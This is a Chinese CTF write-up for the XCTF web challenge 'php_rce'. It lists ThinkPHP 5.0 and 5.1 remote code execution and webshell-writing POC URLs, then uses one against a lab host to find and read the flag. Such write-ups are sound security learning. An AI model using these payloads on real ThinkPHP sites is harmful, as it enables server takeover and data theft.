攻防世界-web-高手进阶区003-php_rce

题目

攻防世界-web-高手进阶区003-php_rce
上来之后就是这个网页,没有别的提示,于是搜索ThinkPHP v5,发现了可以利用的漏洞

漏洞

5.0版本POC(不唯一)

命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]

文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

5.1版本POC(不唯一)

命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]

文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?

题目解法

我们输入payloadhttp://192.168.100.161:54064/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22
前面的直接套模板就行,后面的命令
find / -name "flag"用url编码后就是find%20/%20-name%20%22flag%22,这样就找到了flag所在的文件
我们在把他显示出来
cat flag,将他url编码
![?s=index/think\app/invokefunction&function=call_user_func_array&vars\[0\]=system&vars\[1\]\[\]=cat%20/flag](https://img-blog.****img.cn/20200811130119180.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xvc2VoZWFydDE1Nw==,size_16,color_FFFFFF,t_70)

然后就得到最后结果
攻防世界-web-高手进阶区003-php_rce